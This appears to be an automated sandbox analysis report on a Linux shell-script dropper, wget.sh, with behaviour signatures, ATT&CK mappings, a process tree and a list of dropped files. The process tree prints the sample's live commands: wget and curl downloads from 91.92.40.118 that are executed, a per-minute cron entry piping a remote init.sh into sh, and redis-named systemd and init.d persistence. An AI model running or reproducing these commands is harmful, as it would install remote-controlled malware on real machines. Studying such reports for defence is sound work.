Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    30s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/07/2026, 11:28

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General

  • Target
    wget.sh
  • Size 4KB
  • Sample260711-nlfhbsbs21
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 21 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 1 IoCs
    persistence
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:640
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:663
    • /tmp/.k
      /tmp/.k
      2⤵
        PID:665
      • /bin/rm
        rm -f /tmp/.k
        2⤵
          PID:667
        • /usr/bin/wget
          wget http://91.92.40.118/kworkerd-events -O /tmp/.k
          2⤵
          • Writes file to tmp directory
          PID:668
        • /bin/chmod
          chmod 777 /tmp/.k
          2⤵
          • File and Directory Permissions Modification
          PID:671
        • /tmp/.k
          /tmp/.k
          2⤵
            PID:672
          • /bin/rm
            rm -f /tmp/.k
            2⤵
              PID:674
            • /usr/bin/wget
              wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
              • Writes file to tmp directory
              PID:675
            • /bin/busybox
              busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
                PID:676
              • /usr/bin/curl
                curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:677
              • /bin/chmod
                chmod 777 /tmp/.k
                2⤵
                • File and Directory Permissions Modification
                PID:678
              • /tmp/.k
                /tmp/.k
                2⤵
                  PID:679
                • /bin/sh
                  /bin/sh /tmp/.k
                  2⤵
                    PID:679
                  • /bin/rm
                    rm -f /tmp/.k
                    2⤵
                      PID:680
                    • /usr/bin/wget
                      wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
                      2⤵
                      • Writes file to tmp directory
                      PID:681
                    • /bin/chmod
                      chmod 777 /tmp/.k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:682
                    • /tmp/.k
                      /tmp/.k
                      2⤵
                        PID:683
                      • /bin/rm
                        rm -f /tmp/.k
                        2⤵
                          PID:685
                        • /usr/bin/wget
                          wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
                          2⤵
                          • Writes file to tmp directory
                          PID:686
                        • /bin/chmod
                          chmod 777 /tmp/.k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:694
                        • /tmp/.k
                          /tmp/.k
                          2⤵
                            PID:696
                          • /bin/rm
                            rm -f /tmp/.k
                            2⤵
                              PID:698
                            • /usr/bin/wget
                              wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
                              2⤵
                              • Writes file to tmp directory
                              PID:699
                            • /bin/chmod
                              chmod 777 /tmp/.k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:710
                            • /tmp/.k
                              /tmp/.k
                              2⤵
                                PID:712
                              • /bin/rm
                                rm -f /tmp/.k
                                2⤵
                                  PID:715
                                • /usr/bin/wget
                                  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:716
                                • /bin/chmod
                                  chmod 777 /tmp/.k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:729
                                • /tmp/.k
                                  /tmp/.k
                                  2⤵
                                  • Deletes itself
                                  • Modifies Watchdog functionality
                                  • Creates/modifies environment variables
                                  • Enumerates active TCP sockets
                                  • Modifies init.d
                                  • Modifies systemd
                                  • Reads MAC address of network interface
                                  • Modifies Bash startup script
                                  • Reads process memory
                                  • Changes its process name
                                  • Checks CPU configuration
                                  • Reads system network configuration
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:731
                                  • /bin/sh
                                    sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                    3⤵
                                      PID:741
                                      • /bin/systemctl
                                        /bin/systemctl daemon-reload
                                        4⤵
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        PID:742
                                    • /bin/sh
                                      sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                      3⤵
                                        PID:762
                                        • /bin/systemctl
                                          /bin/systemctl enable --now redis-sentinel.service
                                          4⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:763
                                      • /bin/sh
                                        sh -c "/usr/bin/crontab -l 2>/dev/null"
                                        3⤵
                                          PID:776
                                          • /usr/bin/crontab
                                            /usr/bin/crontab -l
                                            4⤵
                                            • Reads runtime system information
                                            PID:777
                                        • /bin/sh
                                          sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 736 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                          3⤵
                                            PID:778
                                            • /usr/bin/crontab
                                              /usr/bin/crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:779
                                          • /bin/sh
                                            sh -c "update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-dufu defaults 2>/dev/null"
                                            3⤵
                                              PID:780
                                              • /usr/sbin/update-rc.d
                                                update-rc.d /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-dufu defaults
                                                4⤵
                                                  PID:781
                                              • /bin/sh
                                                sh -c "cp -f '/tmp/.k' '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7' 2>/dev/null; chmod +x '/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7' 2>/dev/null"
                                                3⤵
                                                • File and Directory Permissions Modification
                                                PID:784
                                                • /bin/cp
                                                  cp -f /tmp/.k "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7"
                                                  4⤵
                                                  • Write file to user bin folder
                                                  • Reads runtime system information
                                                  PID:785
                                                • /bin/chmod
                                                  chmod +x "/usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7"
                                                  4⤵
                                                  • File and Directory Permissions Modification
                                                  PID:788
                                              • /bin/sh
                                                sh -c "cp -f '/tmp/.k' '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-k306' 2>/dev/null; chmod +x '/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-k306' 2>/dev/null"
                                                3⤵
                                                • File and Directory Permissions Modification
                                                PID:789
                                                • /bin/cp
                                                  cp -f /tmp/.k "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-k306"
                                                  4⤵
                                                  • Write file to user bin folder
                                                  PID:791
                                                • /bin/chmod
                                                  chmod +x "/usr/sbin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-k306"
                                                  4⤵
                                                  • File and Directory Permissions Modification
                                                  PID:793
                                              • /bin/sh
                                                sh -c "cp -f '/tmp/.k' '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-0c4y' 2>/dev/null; chmod +x '/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-0c4y' 2>/dev/null"
                                                3⤵
                                                • File and Directory Permissions Modification
                                                PID:794
                                                • /bin/cp
                                                  cp -f /tmp/.k "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-0c4y"
                                                  4⤵
                                                    PID:796
                                                  • /bin/chmod
                                                    chmod +x "/usr/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-0c4y"
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    PID:798
                                                • /bin/sh
                                                  sh -c "cp -f '/tmp/.k' '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ooqt' 2>/dev/null; chmod +x '/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ooqt' 2>/dev/null"
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:800
                                                  • /bin/cp
                                                    cp -f /tmp/.k "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ooqt"
                                                    4⤵
                                                      PID:801
                                                    • /bin/chmod
                                                      chmod +x "/lib/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ooqt"
                                                      4⤵
                                                      • File and Directory Permissions Modification
                                                      PID:803
                                                  • /bin/sh
                                                    sh -c "cp -f '/tmp/.k' '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lqnw' 2>/dev/null; chmod +x '/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lqnw' 2>/dev/null"
                                                    3⤵
                                                    • File and Directory Permissions Modification
                                                    PID:805
                                                    • /bin/cp
                                                      cp -f /tmp/.k "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lqnw"
                                                      4⤵
                                                        PID:807
                                                      • /bin/chmod
                                                        chmod +x "/var/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-lqnw"
                                                        4⤵
                                                        • File and Directory Permissions Modification
                                                        PID:808
                                                    • /bin/sh
                                                      sh -c "cp -f '/tmp/.k' '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-hv6q' 2>/dev/null; chmod +x '/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-hv6q' 2>/dev/null"
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:810
                                                      • /bin/cp
                                                        cp -f /tmp/.k "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-hv6q"
                                                        4⤵
                                                        • Writes file to tmp directory
                                                        PID:812
                                                      • /bin/chmod
                                                        chmod +x "/tmp/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-hv6q"
                                                        4⤵
                                                        • File and Directory Permissions Modification
                                                        PID:814
                                                    • /bin/sh
                                                      sh -c "cp -f '/tmp/.k' '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ns1j' 2>/dev/null; chmod +x '/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ns1j' 2>/dev/null"
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:815
                                                      • /bin/cp
                                                        cp -f /tmp/.k "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ns1j"
                                                        4⤵
                                                        • Reads runtime system information
                                                        • Writes file to shm directory
                                                        PID:817
                                                      • /bin/chmod
                                                        chmod +x "/dev/shm/.redis-server redis-sentinel redis-cli rdb-check aof-rewrite-ns1j"
                                                        4⤵
                                                        • File and Directory Permissions Modification
                                                        PID:818

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Reconnaissance

                                                      Resource Development

                                                      Initial Access

                                                      Execution

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Persistence

                                                      Boot or Logon Autostart Execution

                                                      3
                                                      T1547

                                                      XDG Autostart Entries

                                                      1
                                                      T1547.013

                                                      Boot or Logon Initialization Scripts

                                                      1
                                                      T1037

                                                      RC Scripts

                                                      1
                                                      T1037.004

                                                      Create or Modify System Process

                                                      1
                                                      T1543

                                                      Systemd Service

                                                      1
                                                      T1543.002

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Unix Shell Configuration Modification

                                                      1
                                                      T1546.004

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Privilege Escalation

                                                      Boot or Logon Autostart Execution

                                                      3
                                                      T1547

                                                      XDG Autostart Entries

                                                      1
                                                      T1547.013

                                                      Boot or Logon Initialization Scripts

                                                      1
                                                      T1037

                                                      RC Scripts

                                                      1
                                                      T1037.004

                                                      Create or Modify System Process

                                                      1
                                                      T1543

                                                      Systemd Service

                                                      1
                                                      T1543.002

                                                      Event Triggered Execution

                                                      1
                                                      T1546

                                                      Unix Shell Configuration Modification

                                                      1
                                                      T1546.004

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Cron

                                                      1
                                                      T1053.003

                                                      Defense Evasion

                                                      File and Directory Permissions Modification

                                                      1
                                                      T1222

                                                      Linux and Mac File and Directory Permissions Modification

                                                      1
                                                      T1222.002

                                                      Hijack Execution Flow

                                                      1
                                                      T1574

                                                      Path Interception by PATH Environment Variable

                                                      1
                                                      T1574.007

                                                      Impair Defenses

                                                      1
                                                      T1562

                                                      Virtualization/Sandbox Evasion

                                                      1
                                                      T1497

                                                      System Checks

                                                      1
                                                      T1497.001

                                                      Credential Access

                                                      OS Credential Dumping

                                                      1
                                                      T1003

                                                      Proc Filesystem

                                                      1
                                                      T1003.007

                                                      Discovery

                                                      System Information Discovery

                                                      1
                                                      T1082

                                                      System Network Configuration Discovery

                                                      2
                                                      T1016

                                                      Internet Connection Discovery

                                                      1
                                                      T1016.001

                                                      Wi-Fi Discovery

                                                      1
                                                      T1016.002

                                                      System Network Connections Discovery

                                                      2
                                                      T1049

                                                      Virtualization/Sandbox Evasion

                                                      1
                                                      T1497

                                                      System Checks

                                                      1
                                                      T1497.001

                                                      Lateral Movement

                                                      Collection

                                                      Command and Control

                                                      Exfiltration

                                                      Impact

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      redis-server redis-sentinel redis-cli rdb-check aof-rewrite-dufu
                                                      • Path /etc/init.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-dufu
                                                      • Size 475B
                                                      • SHA256 e0598d25643922b87cb839a6c1ace926dd2490630b3de04adc5491d951062ad6
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      redis-server redis-sentinel redis-cli rdb-check aof-rewrite-duug.sh
                                                      • Path /etc/profile.d/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-duug.sh
                                                      • Size 175B
                                                      • SHA256 d6af94397a8ee8ce3a2aa598c398585d49084645c1f319733ea376847637ad43
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      redis-sentinel.service
                                                      • Path /etc/systemd/system/redis-sentinel.service
                                                      • Size 342B
                                                      • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 287KB
                                                      • SHA256 46cfad24a61fd8087b5c28c438e8cee7b42f0bfeb471d55e0a5d3e2f14b070cb
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 239KB
                                                      • SHA256 31b5215d2bab7691c47f8e27ed17fcc99b20e74d56e3388987ff20ec92f70d97
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 162B
                                                      • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 415KB
                                                      • SHA256 80ce991efa532d72569247a123a26587e4c9cac2a6e29bd620d3309f2d13c393
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 398KB
                                                      • SHA256 12ce9af80d7bda29cc946c03ef0378f09fb76d2807e901866416de88626d9df6
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      .k
                                                      • Path /tmp/.k
                                                      • Size 416KB
                                                      • SHA256 e8ed2648ea9267a25487b30467633870b6df59c4d3886f13fe11554d82f4737a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      .redis-server.pid
                                                      • Path /tmp/.redis-server.pid
                                                      • Size 3B
                                                      • SHA256 2b9449f314bf93145f8122906d8dc56c4ca1f116e6db7ad2768d6f9ade29b31e
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7
                                                      • Path /usr/bin/redis-server redis-sentinel redis-cli rdb-check aof-rewrite-2fj7
                                                      • Size 285KB
                                                      • SHA256 3c2ffa8e5ee0a6eb7a0e47434a1821bd2d7f52e511abf6dbe65b5fa90f40c006
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tmp.1Usmps
                                                      • Path /var/spool/cron/crontabs/tmp.1Usmps
                                                      • Size 340B
                                                      • SHA256 8e98e97872a49ea203645f5af1de11fcf7e9da0e788eb9c9f7c3e8b1008686b0
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download